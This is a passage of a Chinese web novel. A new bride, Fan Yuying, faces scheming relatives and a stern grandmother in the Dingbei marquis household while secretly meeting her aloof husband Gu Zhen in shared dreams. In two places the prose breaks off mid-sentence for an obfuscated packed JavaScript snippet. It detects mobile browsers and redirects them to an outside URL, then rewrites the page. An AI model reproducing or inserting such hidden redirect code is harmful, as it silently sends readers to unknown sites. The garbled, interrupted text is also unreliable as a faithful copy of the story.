姐妹二人被她挑拨着险些破了相,这会儿气得牙痒痒,没想到范玉盈还要算计她们,让她们吐出先头收到的料子。 “范玉盈,你莫太过分!”顾瑶竟作势要扑上来扇打范玉盈,被方沁棠拽住了。 白芷青黛忙拦在主子前头。 过分? 究竟是谁过分。 范玉盈看着颠倒黑白,毫无教养的两姐妹,却是不恼,她倒不惧将事儿闹大,左右她并无丝毫过错,受罚的也只会是顾婷姐妹。可有些人客居于此,却是断断不敢让事情发展到不可控制的地步的。 她将视线有意无意瞥向站在顾瑶身后的方沁棠身上。 此时的方沁棠面色不大好看,她拉着顾瑶,抿唇沉默许久,正欲说什么,却见顾敏倏然上前一步,勉笑道:“一件衣裳罢了,不值得嫂嫂和姐姐们为敏儿操心,大姐姐确实只是无意,我怎好收大姐姐的料子,敏儿还有事,便先行回去了。” 顾敏说罢,冲众人福了福身,朝向范玉盈时,她抿唇一副难言的模样,最后还是快步带着环儿离开了。 这般结果令众人都意想不到,顾瑶在愣了一瞬后,得意地冲范玉盈挑了挑眉,还未来得及嘲讽两句,就见方沁棠挡在了她前头。 “嫂嫂见谅,沁棠想起还有要事要带着两个妹妹去姑母院中一趟,就先告辞了。” 顾瑶虽不满自己未能一逞口舌之快,但见姐姐和表姐回返,也只能跟着一道,走出一阵,心下却又不免担心起来,“姐姐,你说,二姐姐会不会回去同三婶告状?” 顾婷不以为然,“放心吧,她呀,没用的闷葫芦一个,打小哪见她跟祖母提起过一句,适才范氏都说到这般了,她不还是不敢收我的料子。且纵然提了又如何,三婶也不敢对我们怎样,三叔又是个不中用的残废……” “婷儿。”耳畔响起斥责声,“仔细祸从口出,不可如此妄议长辈!” 顾婷从未见她家表姐这般凶过,她也知理亏,忙闭了嘴。 顾瑶忽又想起什么,“纵然二姐姐不说,但那范氏会不会同大哥哥告状?” 顾婷撇了撇嘴,“大哥哥而今这般嫌弃她,谁知会不会信她的话。” 她说着,亲昵地挽住方沁棠的手臂,“表姐,我听说大哥哥这几日都未在府上过夜,分明是新婚燕尔,如胶似漆的时候,他却是不回来,只怕那范氏根本不得大哥哥的宠。” 顾瑶也道:“她那般名声尽毁又嚣张恶毒之人,你们刚才都瞧见了,大哥哥怎会中意她,想必以祖母的性子,定也是不喜欢她的,指不定到最后,我的大嫂还是表姐您呢。” “休要浑说,这话传出去不好。”方沁棠低声警告她们,可语气却比适才温柔许多。 “我哪里浑说了。”顾瑶露出暧昧的笑,“其实,我一直瞧着大哥哥对表姐你不大一样呢。” 这次方沁棠没有接话,只低垂下眉眼,赧然一笑。 戌时前后,范玉盈半倚在小榻上,任由红芪替她擦拭沐浴后未干的湿发。 跟前,白芷将嘴撅的老高,“奴婢越想越生气,姑娘为何要帮那二姑娘,不但吃力不讨好,还徒惹了一身腥。” “就是,就是。”青黛跟着附和,“那二姑娘一点不念姑娘的好不说,最后还害得姑娘下不来台,姑娘没瞧见那三姑娘最后一副小人得志的模样,姑娘一向不是会理会这些闲事的性子,照奴婢看,一开始便不该上前。” 红芪和紫苏闻言对视一眼,皆是露出苦涩无奈的笑。 那两丫头不知,她们却是知道的,她家姑娘是不爱管闲事,但非一开始便是如此。 白芷和青黛是在她家姑娘自庄上回来后才被调来伺候的,跟她们打小跟着的不同,自然不清楚她家姑娘从前的性情。 那是再温柔良善不过,姑娘四岁时,还曾将屋外被冻得奄奄一息的小野猫裹上自己的袄子,抱进屋内烤火取暖,救它性命呢。 至于后来那些事,皆是被现实所逼,迫不得已,外头只知她家姑娘嚣张跋扈,无人敢招惹,可谁又知她这些年所经历的心酸苦楚。 红芪和紫苏知晓这是她家姑娘心里的禁忌,故而也默契的从不提起,眼下紫苏也只跟着青黛的话调侃道:“姑娘还没怎的,这一桩事,就让你俩气成这样,来来回回说了小半日。” “我哪能不气,还有那个方大姑娘,也不是个省事的主儿。” 青黛气得跺了两脚,转而瞧见紫苏竟在重新剪插瓶里的秋花,惊道,“紫苏姐姐,你这莫非是嫌弃我插花的手艺,我插的难道不好吗?” 紫苏想起青黛那简直糟蹋好花的杰作,忍着笑看她一眼,“你让姑娘说说,你先前插的可好看?” 范玉盈懒懒抬眸看来,“我可不敢说,这丫头的嘴可是厉害,怕是又能吵吵我一日。” 屋内登时笑声一片。 “姑娘!” 范玉盈这一言,令其余几个丫头将青黛打趣得愈发厉害了。 看着这一片欢声笑语,范玉盈亦忍不住放下手中闲书,嘴角轻扬。 无论是前世还是今生,都是因为有她们四人陪伴在侧,她才不至于太过孤寂悲凉。 可前世除却紫苏,因范家之事,其余三人都被牵连沦为官奴,也不知被卖到了何处,是个什么下场。 但这一世她们随她出嫁,离开了范家,无论如何,她都会保四人得一个自由幸福的好结局。 顾缜进来时,恰见他素日神色冷淡的妻子彻底放松了身子半躺在那厢,看着眼前笑闹的几个丫头,那双如星辰般璀璨的眼眸里盛满了笑意。 这是真正发自内心的笑。 成亲至今,他从未见范玉盈这般笑过。 他驻足片刻,提步踏进去。 珠帘摇晃发出琳琅声响,他眼见眉眼如画的佳人抬首看来,笑意却在一瞬间凝结在了脸上。 范玉盈怔忪过后飞快坐直了身子。 她有想过顾缜今日会回来,但没想到他会回来得这么早,还这般突然。 屋内的欢笑声戛然而止,四个丫头忙敛了笑,恭恭敬敬侍立在了一侧。 范玉盈起身迎上去,施礼罢,问道:“世子爷可用过饭了?” 顾缜打量着她这副拘谨的模样,淡声答:“用过了。” 范玉盈顿了顿,又问:“世子爷可要沐浴,妾身命他们送水来?” “嗯。” 顾缜颔首,在小榻上坐下。 范玉盈吩咐罢,也跟着落座,她将双手放在膝上,这会儿才知道什么叫如坐针毡。 现在想想,梦中的她胆子可真大,仗着顾缜不识她的身份而无所顾忌,肆意妄为。 她咬了咬唇,也不知与他说些什么,这会儿屋内有下人,谈论案情怕是不妥,但思来想去,她竟寻不到一个可谈论的话题。 她与自己这位夫君实在不熟。 顾缜轻啜一口茶水,碗盖抬落间,悄然将范玉盈的不自在悉数看在了眼里。 不多时,水备好了,他起身往浴间而去,再出来时,却见小榻上的榻桌已被挪了去。 他薄唇微抿,眸色凉了几分,抬手退了屋内仆婢,阔步往卧间而去。 范玉盈跟在他后头,原以为他应又是准备拿了被褥到外头去睡,谁料他忽而停了下来。 高大挺拔的男人着一身中衣立在床榻前,缓缓折身看向她。 一双漆黑的眼眸若幽谷般深不见底,分明未言,可范玉盈却似乎隐隐明了了他的意思。 她掐了掐手心,缓步上前,她既想与顾缜处好关系,有些事便不得不应了他,就算她再不愿意,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16469892|185524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们也是拜了天地的夫妻,圆房这事本就是天经地义。 何况…… 梦里也不是没做过,有甚好怕的。 虽心下这般劝自己,可范玉盈伸出的手仍是慢吞吞的。 触及男人腰间系带的一刻,她忽被攥住了手腕,头顶响起喑哑的嗓音,“脚伤如何了?” “多谢世子爷关切,已不大疼了。”范玉盈低声道。 “嗯。”顾缜闷闷应了一声,“早些歇下吧。” 说罢,他抱起床内的被褥,疾步出了卧间,从始至终一眼都未再看她一眼。 他哪敢看她,唯恐那些不堪的心思让她察觉了去。 顾缜承认,在清楚地看到范玉盈对他的排斥时,心下莫明的滋味令他一瞬间起了圆房的冲动,一种不该有的冲动。 可他分明不喜她那张美人皮下真正的本性。 为何又会介意他的妻子与他疏离,他当主动远离她才对。 且他自幼受到的礼仪教养都在提醒他不可做强迫他人之事。 他可以不追究范氏从前所为,但他与范氏大抵做不成那鹣鲽情深的夫妻。 只消她像而今这般安常守分,不给顾家惹祸,败坏顾家名声,他能做到的最大的让步便是与她在外人前相敬如宾地过。 卧房内,范玉盈举起适才试图替顾缜解衣的手,扯了扯唇角。 她实在是多虑了。 成亲这么久顾缜都不碰她,又怎会突然对她生了兴趣。 光看昨日梦中顾缜对她非礼勿动的模样,便知晓他根本不好女色。 思及昨日,范玉盈缓缓翻了个身。 她也没想到,持续了近四个月,原从来只能在梦中旁观的她竟能开始操纵自己的身躯。 且看来,突然能操纵身躯的不仅仅是她,还有用她熟悉的淡漠语气问出“你是谁”的顾缜。 那一刻,她的心情从茫然到震惊,最后化为惊喜。 面前的男人依然看不清面容,可她终于有了借此传递消息的机会,为令此事更顺理成章,她甚至恬不知耻,在梦中自称“神女”。 只消顾缜能验证廊桥一事,只消他…… 范玉盈的笑意渐渐淡了下去,她复又翻身,平躺着凝视头顶床幔上绣着的如意蝠文,愁容满面。 可万一,通梦之事只是她的臆想,从头到尾都不复存在呢。 若是如此,她又该以什么法子传递叛乱的消息。 这夜,范玉盈辗转反侧,没有睡好,直到彻底熬累了身子,才在四更天勉强睡了过去,一宿无梦。 可翌日起来时,仍是平素那个时辰。 白芷听到喊声入内伺候,在替范玉盈更衣时,忽而冲外头努了努嘴,低声道:“姑娘,世子爷用完了早膳,这会儿正准备出门呢。” 新婚大半月,范玉盈难得在这时候见到他,不免有些意外,“世子爷今日休沐?” “是了,但说是休沐,世子爷只是起得迟些,还需前往大理寺办差。” 他可真喜欢办差。 范玉盈在心底嘟囔一句,若换作旁人,有这般早出晚归,日日不着家的夫君,不得直叹命苦。 但既得起都起了,范玉盈也不能装作不知,她匆匆更衣梳妆罢出来,见明间无人,还以为顾缜已经走了,正欲在面前那张红漆圆桌前坐下,却听一声清咳,一抬眸,便见廊下一人背对她,长身鹤立,挺拔如松。 她愣了一瞬,步出正屋,低身福了福,“世子爷。” 男人这才幽幽折身看来,冲她微一颔首,“因七……前几日的案子,大理寺且还有些堆积的公文案卷没有处置,需得过去一趟。” “是。”范玉盈道,“妾身送世子爷出去。” 顾缜没有拒绝。 夫妻二人沉默着,一前一后,穿过抄手游廊,一路往垂花门而去。 范玉盈低垂着眼眸,心下却有盘算,待踏出垂花门,两人都停下脚步时,她倏然抬首,可未来得及出声,就见一婢子气喘吁吁跑来,对着顾缜一施礼道:“世子爷,门房来传话,说大理寺的人要告诉世子爷一声,城西那座廊桥因年久失修,又被蠹虫所腐,在昨夜子时轰然塌了。” 顾缜面上的平静在听到这一消息的瞬间生了裂缝。 他心下震动,难以平息之际,自然没有留意到,就站在他身后的范玉盈掩在袖中的手因激动而止不住地颤抖起来。 她本想设法试顾缜一试,不想答案已然摆在眼前。 是他,梦中人竟真的是顾缜! 16. 家宴 送走顾缜后,范玉盈草草用了早膳,便在书案前坐下,凭着记忆,提笔在纸上记下几个日子。 这几个日子皆是她与顾缜通梦的日子,那梦境并非夜夜都有,昨夜便无。且似乎在她嫁入定北侯府后,夜间梦见顾缜的日子便愈发少了。 若说是因着顾缜夜里未眠才不发梦,但不可能那些日子他都不眠不休吧,就是铁打的也受不住,定还有旁的规律。 若能寻着,对她将来做事也会方便许多。 正当范玉盈一双秀眉蹙紧,托腮细细琢磨之际,却听外头响起急促的脚步声。 进来的是一脸惊慌的沈嬷嬷。 “大少奶奶,老夫人回来了,夫人派人来传话,让大少奶奶赶紧收拾收拾,去正厅拜见老夫人。” 顾老夫人回来了? 范玉盈抿了抿唇,虽有些意外,可面上并无急色,她搁下笔,转头吩咐白芷青黛取来一身得体的衣裳换上,便由沈嬷嬷领着往正厅而去。 一路上,沈嬷嬷碎碎嘱咐让范玉盈一会儿莫要多言,顾老夫人向来严苛,若是无意惹怒她恐是不好。 这话想来是她婆母苏氏的叮嘱。 顾老夫人回府的事确实让范玉盈有些猝不及防,虽她新婚没几日,就听说顾老夫人要回京,但不是因身子不适暂且耽搁在了路上吗,怎也不提前递个消息,突然就回来了。 相比于她那婆母与二房方氏,这位顾老夫人却不是好糊弄的,听闻她未出阁前曾为公主侍读,后嫁予老定北侯,也曾随夫远赴艰苦的西北戍边,身为女子,却足智多谋,为丈夫出谋划策,助其立下战功无数。 虽说而今她那公爹已然袭爵,可顾老夫人却仍是这个家真正的掌事人,范玉盈觉得她那婆母的话倒也不错,言多必失,既然顾老夫人回来了,她若还想好生待在定北侯府,还是尽量安分一些为好。 此时,定北侯府正厅。 耳顺之年的老妇人高坐于厅堂之上,眉头紧皱,神色沉肃,锐利的眸光在底下一一扫过。 众人坐的坐,站的站,却是人人自危,大气都不敢出。 “老二媳妇。” 顾老夫人这一声,令二夫人方氏身子猛地一颤,忙站起来,恭恭敬敬唤了声“母亲”。 顾老夫人虽唤的是方氏,可眸光却落在了方氏背后的顾婷顾瑶上,“听闻,大丫头和三丫头,近日跪了祠堂?” 感受到祖母平淡语气中强烈的压迫感,顾婷顾瑶低垂着脑袋,背脊冒汗,愣是不敢吭一声。 “是。”方氏很清楚,老太太既然问出这话,定是对此事有所了解,她也不敢扯谎,强笑道,“这两丫头小孩子脾性,母亲也是知道的,一时急了眼,犯了些小错,本也没什么大碍,但老爷说不可不管教,这才命她们去罚跪祠堂,好生长长记性。” “孩子?”顾老夫人一声冷哼,“一个十三,一个十五,如何还能称得上孩子,既得这么多年都长不了记性,不若直接回南游,莫留在京城丢了顾家的人。” 顾婷顾瑶登时惨白了面色,南游那地方,哪及京城半点繁华,说到底就是个穷乡僻壤,若被送回了南游,她们这辈子可真就毁了。 方氏亦慌得厉害,但也清楚顾老夫人这话应还只是警告,忙道:“母亲,她们已知错了,儿媳平日定好生教导,绝不会再有下次。” 顾老夫人未再理睬她,视线一转,落在独自站在一侧,低垂着脑袋的顾敏身上,“敏儿。” 顾敏怯怯上前一步,“祖母。” “听闻你母亲近日在替你筹谋婚事,是哪户人家,相看得如何了?” 顾敏迟疑片刻,声若蚊呐,“是……京城孙侍郎家的三公子,只相看了一回,尚未定下呢。” 听得此言,厅内众人皆有些惊诧,顾敏口中的孙侍郎当是指礼部侍郎孙骁,他家三公子年方十八,虽还未考取功名,但也算是颇有才名,科举及第是早晚的事,更何况,那位还是嫡出。 方氏先头只知三房寻了媒人在替顾敏议亲,也不大关心,不想竟是这么一桩好亲事。 若能成,可真便宜他们了。 顾老夫人未评议此事,只看着顾敏怯生生的模样,不喜地蹙眉,到底忍不住斥了两句,“也是要嫁人的姑娘了,说话且大声些,这般畏首畏尾的,哪里像咱们顾家的姑娘!” 顾敏咬了咬唇,稍稍提声,“是。” 苏氏坐在底下,看顾老夫人轮流点过二房、三房,手心直泛冷汗。 嫁进定北侯府这些年,她还能不知自己这婆母的脾性,怎可能不点他们大房,只怕是要留到最后。 他们大房能责的还能有谁,自是刚过门的范氏。 那范氏恶名在外,老太太未去南游前恐都有所耳闻,这会儿人进了顾家的门,她哪里喜欢得了,怕还得为了顾家门楣,好生立一立规矩。 虽说范氏刚嫁进来时,苏氏也想着借着沈嬷嬷磋磨磋磨她,但这会儿不一样,她可不想平白让旁人看了她们大房的笑话,尤其是方氏。 忐忑间,果听顾老夫人的声儿幽幽响起,“怎不见缜哥儿媳妇?” “想是快到了。”苏氏忙解释,“前几日崴了脚,还未大好,故而来得慢些。” 她话音才落,一旁有个不高的声儿附和,“是,敏儿昨日还在花园遇见大嫂了,她出外晒日头,行走间仍有不便。” 顾敏言罢,抬眸瞧见对厢顾婷姐妹阴狠的目光,吓得飞快垂下头去。 顾老夫人深深看了顾敏一眼。 “母亲不知,缜哥儿这媳妇略有些体弱,敬茶那日身子不适,都没能过来呢。” 方氏自打嫁进顾家门,虽说一直以来是有些怵她这个婆母的,但这会儿,她倒是庆幸顾老夫人回来了。老夫人最为看重顾家声名,又极重规矩,如何能忍受得了范氏这样的人留在顾家,眼睁睁看着她成为定北侯府未来的当家主母。 她原还想着从大嫂苏氏入手,但这会儿却有了更好的主意。 这厢正说着,只听外头通传,很快,一个纤柔婀娜的身影在众人的注视中步入正厅,规规矩矩立在顾老夫人跟前。 “孙媳拜见祖母。” 顾老夫人打量着跟前同她施礼的女子,不烟视媚行,举止得体,落落大方,好一会儿,方才道了句“起来吧”。 待那张巴掌大的小脸微微抬起,顾老夫人心头一震,面上却不动声色。 “你叫玉盈是吧?” “是。” 顾老夫人同身侧的老嬷嬷使了个眼色,老嬷嬷会意将一承盘递来。 范玉盈瞥了一眼,微微怔了怔,承盘上有两物,一为装在螺钿木匣中的红宝石头面。 而另一物,则为《女诫》。 偌大二字写在蓝底的封面上,刘嬷嬷又将承盘举得低,四下众人都瞧见了,范玉盈甚至能感受到幸灾乐祸,嘲笑讥讽的目光毫不遮掩地落在她身上。 底下的苏氏亦拧紧了眉头。 “你与缜儿成婚得急,我也未能赶回来,这两物便赠予你做见面礼。” 顾老夫人的面上看不出喜怒,可范玉盈很清楚,她虽未当面训斥,但并不代表承认了她,仍通过这种方式来暗暗敲打。 她低身,神色自若地接过那承盘,“多谢祖母。” 顾老太太凝视她须臾,淡淡点了点头,正欲说什么,偶然瞥向厅外,视线一下定在那厢。 范玉盈折身看去,便见三夫人周氏推着一人往厅内而来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16469893|185524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 外头天光正好,她清清楚楚看到了推椅之上男人的模样,他面容消瘦苍白,没甚血气,深凹的双目一片空洞混浊,正如他给人的感觉,就像被掏空了魂灵,宛如行尸走肉。 就算没见过,范玉盈也知晓这便是三房老爷顾松毅。 几年前,他于西北随兄长定北侯抗击蛮族时误入敌军圈套,当时他所率领的小队除他外无一幸存,听闻他被寻到时,已然奄奄一息,且被活生生打断了双腿,虽勉强救回一条命,却至今无法行走。 几个家仆帮着将推椅抬至阶上,至顾老夫人跟前,顾三老爷的面上仍是无笑,只是垂首毕恭毕敬唤了声“母亲”,顾老夫人神色难辨,沉默半晌,轻轻应了一声。 顾三老爷非顾老夫人所出,可范玉盈看得出来,顾老夫人对这个庶子而今的境况不是没有半点心疼。 她关切地询问了顾三老爷几句,便看向苏氏:“吩咐灶房多备点好菜,再命人去公廨知会一声,若是不忙,让他们晚上回来一道吃个家宴。” 苏氏应声吩咐人去办,而方氏眼眸微微转了转,忽而侧身,对着侍婢耳语了两句。 待到晚饭前,去通禀的下人来回话,说世子爷恐要迟些,让老夫人不必等,早些开席便是,二公子忙于公务抽不开身,就不回来吃饭了。 顾老夫人逗弄着怀中刚睡醒被乳娘抱来的萱姐儿,面露不虞,“什么公务,忙成这般,媳妇儿都快临盆了,还整日不着家。” 方氏尴尬地笑了笑,心里却很清楚,顾铖哪是忙于公务,只怕又去花楼喝酒应酬去了。 “母亲莫怪,铖哥儿也是没有法子,不管怎么说,教媳妇看,忙些好,忙些才更利于将来擢升。就像缜哥儿,忙得连新婚第二日陪新妇敬茶的工夫都没有,听闻这几日也几乎夜夜住在大理寺,正是他这般恪尽职守,才能得陛下亲眼,年纪轻轻便成了大理寺少卿,我家铖哥儿愚笨,着实望尘莫及啊,也只能平素在公务上多上几份心。” 范玉盈坐在苏氏身侧,喝茶的手一顿,哪里听不出方氏不仅替自家儿子解了围,还在夸赞顾缜同时,暗指顾缜不喜她,才不肯回府来。 分明是故意说给顾老夫人听的。 她抬眸观察顾老夫人的面色,只见老太太不显地皱了皱眉,倒是未有太大的反应。 范玉盈并不指望顾老夫人真正接纳自己,毕竟她在外的名声有多坏她也知晓,只望在顾家的这两年顾老夫人别太过为难她才好。 不多时,二老爷自公廨下值回来,顾老夫人也不多等,喊灶房上菜,待菜肴逐一上桌,她扫了一眼,蓦然皱眉道:“这菜是谁做的?” 上菜的仆婢默了默,才答:“是……是表姑娘亲手做的。” 顾老夫人转向方氏,“棠儿在府上?怎的不一道来吃?” 方氏答:“是,本被她爹接回去了,但她在儿媳身边多年,同儿媳亲女,儿媳惦念她,前几日又命人接了回来,想是听闻母亲您回来,念及您多年对她的好,也知晓您的口味,便亲自下厨,但想着自个儿毕竟是外来客,不好来用这顾家家宴。” “什么家宴不家宴的,棠儿也算我看着长大,与我孙女无异,让她一道来用吧,总也不好让旁人说我们顾家慢待客人。”顾老夫人道。 “是。”方氏笑着吩咐身边人去传话。 又过了一盏茶的工夫,外头蓦然响起说笑声,范玉盈随众人一道朝外看去,便见方沁棠与顾缜穿过月洞门联袂而来。 方沁棠抬首不知在与顾缜说些什么,以帕掩唇一下笑弯了眉眼。而顾缜则站在她身侧,微微低身听她说话,面含浅笑。 暮色四合,绚丽温暖的霞光落在二人身上,衬得他们愈发般配,好似一对佳偶。 17. 试探 范玉盈嘴角轻扬,余光扫向一旁窃笑的方氏。 她想要的大抵便是如此。 这样一较倒显得她更像个外人了。 不过外人不外人的,范玉盈也不在乎,眼下她的确需顾缜对她改变看法,可却没想过一辈子留在定北侯府。 两人步入厅堂后,顾缜对着顾老夫人恭敬施礼,“孙儿见过祖母。” 旋即又一一问候其余长辈。 方沁棠紧随其后。 顾老夫人浅笑颔首,“两年不见,棠儿倒是出落得愈发亭亭玉立了,可曾定了人家?” 不等方沁棠回答,方氏抢着答:“还未定下呢。” 顾老夫人瞥她一眼,默了默道:“棠儿今岁也有十七了吧,不小了,婚姻大事怎可耽误,还是抓紧些为好。” 方氏闻言面上的笑意淡了些,低低道了句“是”。 “既然人都到齐了,那便开席吧。” 顾老夫人话音一落,范玉盈便见顾缜朝她走来,她起身福了福,唤了声“世子爷”。 顾缜轻轻应下。 这厅中只消有眼睛的,怕都看得出两人之间的陌生与疏离。 范玉盈自己都承认,与他俩相比,适才的顾缜与方沁棠看起来更像一对夫妻。 顾缜落座后,范玉盈才紧跟着坐下,方沁棠原应坐在方氏身侧,与顾缜隔着两个位置,偏生被顾婷顾瑶两姐妹推搡着,最后好巧不巧,坐在了顾缜的另一边。 她显得颇为不情不愿,但坐下后也并未借此亲近顾缜,反是悄然挪了挪身,与顾缜离得远了些。 范玉盈默默看在眼里,只叹今日这饭,恐吃得不会太顺利。 果然,不多时,方氏就指着桌上一道菜,似无意般开口:“棠儿,倒是头一回见你做这道菜,不知里头都添了些什么?” 此言一出,众人都朝方沁棠看去,方沁棠赧然一笑道:“这是腔骨萸药汤,熬煮时特意放了山茱萸、山药、枸杞子等,可益气生津,这时节凉燥伤阴,棠儿记得,每每此时,老夫人常觉咽喉干涩不适,最宜饮用此汤。” 顾老夫人闻言,对方沁棠投去赞许的笑,“你有心了。” 面对方沁棠出众的表现,范玉盈却是无动于衷,倒是她婆母苏氏,颇有些恨铁不成钢地瞪了她一眼。 范玉盈也不傻,不是看不出方氏姑侄的心思,但不管她们再怎么表现,她而今都是顾缜明媒正娶的妻子,这是改变不了的事实。 不过,范玉盈却也并未因此而多厌嫌方沁棠,相反,她倒是很肯定她做的努力,毕竟对于下厨之事,她的确一窍不通。 顾缜想要的贤妻,大抵便是方沁棠这般的吧,讨长辈喜欢,还能将府中诸事打理得井井有条。 若两年后她与顾缜和离,顾缜再娶,范玉盈真心觉得方沁棠是个不错的人选,自小与顾缜一道长大,也算知根知底,只消她别脑子一浑,被自己这姑母操纵,定能当好这定北侯世子夫人。 不,两年后,兴许得叫定北侯夫人了。 方氏姑侄二人在那厢想方设法讨得老夫人欢心时,范玉盈却忙着抚慰她的五脏庙,不得不说,方沁棠这厨艺实在不错,她适才夹了一块眼前的樱桃肉,那肉表面看着油腻,却是酸酸甜甜,入口即化。 令她这平素吃什么都不大有滋味的人都觉得美味得紧。 虽知她这脆弱的肠胃可能不大受得住太过荤腥的东西,但她终究没忍住,提起筷子,多夹了一块。 她大快朵颐之际,自然没注意到,身侧人默默观察她的目光。 顾缜很少见范玉盈在进食时表现出喜恶,虽成婚以来两人一道吃饭的机会也没有几回,可她每次不但吃的少,且似乎吃什么都一样,就连喝药也是眉头都不皱一下。 可这会儿,看着她将一小块樱桃肉送入口中时,一双潋滟的杏眸骤然一亮,顾缜神色不自觉温柔了几分。 然很快,他将视线落在她的嘴角,下一刻,几乎是不假思索地伸出手去。 感受到有什么朝她而来,范玉盈下意识躲闪开来,可或是动作太大了些,手腕不意将桌上的羹匙扫落在地,因地上铺着薄毯,羹匙虽未摔碎,却也发出不小的一声闷响。 众人的目光齐刷刷往这头看来。 顾缜的手还悬在半空,他蹙了蹙眉,少顷,慢慢收回手,继而指了指自己的嘴角。 范玉盈抬手一抹,瞧见手上些许深红的酱汁,不免生出几分尴尬。 老夫人头一日回来,她也算是当众把脸丢尽了。 众人默不吭声收回视线,都以为是顾缜觉得范氏嘴角的酱汁有碍观瞻而提醒她,连范玉盈自己都这般认为,唯有看清了整个过程的方沁棠暗暗掐紧了掌心。 而顾老夫人亦将视线在长孙和长孙媳间来回睃视,面上神色意味深长。 晚饭罢,因长途跋涉而疲惫不已的顾老夫人吃了半盏茶,就由刘嬷嬷扶着回了自个儿的院子歇息。 众人散去,范玉盈也随顾缜回了葳蕤苑。 今日的顾缜并未太过拖沓,在她之后沐浴罢,就如先头那般抱了被褥去西次间的小榻上睡。 好似很急。 可巧,范玉盈也很急,急着入梦。 她担忧过今夜不会梦见顾缜,但当那张熟悉的床榻映入眼帘时,她心下一喜,支起身子折首看去,便见男人盘坐在床榻另一头,正静静注视着她。 可这一次,他面上的迷雾消失了。 这是她头一次在梦中如此清晰地看清男人的长相,这俊逸的眉眼,淡漠的神情,不是她那新婚夫君又是谁。 先头看不清倒还好,但这会儿看清了,范玉盈反觉有些怪异,就像现实中的顾缜真实地出现在她跟前,她不禁犹豫起来,可转念一想,顾缜根本不知她的身份,且看他这反应,也许和她先前一样,根本看不清她的脸,如此她又有何好怕的。 她现在可是瑶池神女。 “神女”范玉盈嫣然一笑,“云郎,如何,可是相信了我的身份?” 顾缜薄唇抿成一线,他这人并不怎么信神神鬼鬼之说,可偏生廊桥坍塌让这女子说中,且时间那般精准,这种事很难说是巧合。 范玉盈清楚顾缜疑心之重,可这于她而言却并非什么坏事,见他不语,她稍稍靠近些,叹声道:“看来,云郎还是不信我,那你就再试试,问些……近日烦愁难解之事,看看我能不能为你解答。” 顾缜沉吟片刻,“你既是神女,想来对凡俗之事了如指掌,定也能窥得人心,即便我不吐露,也心中有数,不错吧。” 听得此言,范玉盈差点被他气笑了。 自己不说,竟反过来让她猜,以此验证她的身份,这混蛋不愧是大理寺少卿,处处谨慎,竟还对梦中之人加以提防。 “的确能窥得。”范玉盈有意卖着关子,停顿许久,“云郎心事其实简单,不过在南。” 见顾缜面色微变,她得意地笑了笑。 瑄岚正位于南边,他心事不在南又能在哪儿。 顾缜沉吟许久,“那你可知是何人所为?” 所为为何。 范玉盈拧眉,一时辨不出顾缜的意思,他是想问是谁带走的七王子,还是是谁想害七王子。 其实,她都不知晓。 但她有知晓之事,亦有想向顾缜传达之事。 “云郎怎的忘了,我说过,作为神女,不可随意泄露天机。” 看着顾缜沉下的脸,范玉盈心下发笑,她可没这般容易被他拿捏。 她虽需将事情告诉他,却也有她的谨慎,所谓言多必失,她到底得稳妥些。 她思忖片刻,蓦然将视线落在一处,嘴角扬起一抹促狭的笑,伸手一下握住了顾缜的大掌。 顾缜猝不及防,蹙眉正欲甩开,却察觉到她的意图,只得不情不愿任由范玉盈将他的手抓了去,慢慢摊平他的手掌,无声在他掌心一笔一划写 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她原打算在被褥上写字给他瞧,可忽而想起梦外,自己几次三番躲开顾缜的触碰,便想借着梦境好生与他熟悉熟悉,这样下次不至于太过抵触。 不想梦中,主动的是她,抵触的却变成了顾缜。 可他越如此,范玉盈便越不饶他,平素在梦外对他那般低三下四,她不知有多憋屈。 她含笑直起上半身,幽幽朝顾缜倾斜过去,却见顾缜拼命躲闪,甚至飞快往侧边一挪,教范玉盈扑了个空。 他轻咳一声,“男女授受不亲,且我已有家室,不好同你如此亲密。” 范玉盈愣了愣,他是为了她才如此“洁身自好”的? 她可不信。 范玉盈继续逗他,“云郎不是已与我做了更亲密之事,不该对我负责吗?” 那些过去梦中的旖旎画面一瞬间涌入顾缜脑袋,他沉默了,因很难说那不是他做的,思忖片刻,他低声道:“先前所行之事,非我所愿。” 这话,范玉盈信。 若与佳人在梦中享云雨之欢是他本意,他就不会在能操纵身体后,与她保持距离。 范玉盈愈发确定,顾缜这人实则与先头梦中贪欢的样子截然不同,清心寡欲,对那事冷淡得紧。 “云郎这是不认了。”她语气中带着几分不悦,“莫不又是为了你那发妻。” 她说着,故意将脸凑近一些,凝视着顾缜,“云郎,你觉得我与你发妻孰美?” 顾缜依然看不清眼前女子的面容,可她的嗓音,着实太像他的妻子范氏。 可顾缜很清楚,她不是范氏,范氏不会这般和他说话,不会主动触碰他,甚至对他避之不及。 便如今夜晚饭时那样。 她与范氏截然不同。 可,先前与她所行之事,真的一丝一毫都不是他的本意吗? 顾缜藏在袖中的手攥紧。 不,他很清楚,好几次他都将这个梦里的女子视同范氏看待。 然后以梦为掩护,随心所欲无耻且酣畅淋漓地发泄那些压制在他心底深处的无法宣泄的欲.望。 眼见顾缜的神色愈发复杂起来,范玉盈一时辨不出他的心思,她问这话,一是想探探顾缜是否能在梦中看清她的脸,二是欲借此套出顾缜对梦外的她的真实想法。 